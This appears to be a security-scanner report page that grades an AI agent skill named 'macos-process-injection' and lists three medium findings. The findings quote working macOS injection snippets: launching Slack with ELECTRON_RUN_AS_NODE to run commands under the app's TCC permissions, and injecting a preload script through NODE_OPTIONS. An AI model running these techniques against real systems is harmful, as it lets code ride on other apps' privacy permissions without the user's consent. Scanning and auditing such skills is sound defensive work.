macos-process-injection
github.com/yaklang/hack-skillsVerdict: Generally safe
0 critical0 high3 medium
B
SCORE 75 / 100
$skillox install macos-process-injectionSoon
Sign in to followFollowing emails you when a re-scan drops the grade. Opt-out is per-creator on /account/billing.
Why grade B?
score · 75 / 100The current grade reflects 3 medium findings (3+ MEDs → B).
0 CRIT0 HIGH3 MED0 LOW
To reach a higher grade
- AReach Atarget score 95
Resolve 1 of 3 MED (cap is 2).
Thresholds are documented at /docs/grading. Source-of-truth is the grade() function in @skillox/scanner.
Latest scan findings
Scan crawl-eqfc364fghmiqm0672juneih · Thu, 28 May 2026 17:29:32 GMT · 1ms
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
267# Turns Electron app into a plain Node.js runtime
268ELECTRON_RUN_AS_NODE=1 "/Applications/Slack.app/Contents/MacOS/Slack" -e \
269 "require('child_process').execSync('id').toString()"← spawns a subprocess outside declared capabilities
270
271# This inherits the app's TCC permissions!
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
288```bash
289# Inject preload script via NODE_OPTIONS
290echo 'require("child_process").execSync("id > /tmp/pwned")' > /tmp/preload.js← spawns a subprocess outside declared capabilities
291NODE_OPTIONS="--require /tmp/preload.js" "/Applications/Target.app/Contents/MacOS/Target"
292```
medNo capability manifest declaredThe skill ships without a `manifest.yaml` or `capabilities` block in its frontmatter. Without a manifest, the runtime cannot enforce what this skill is permitted to do.rule: no-manifest▾
No capability manifest declared
The skill ships without a `manifest.yaml` or `capabilities` block in its frontmatter. Without a manifest, the runtime cannot enforce what this skill is permitted to do.
rule:
no-manifestskillox.io/c/macos-process-injection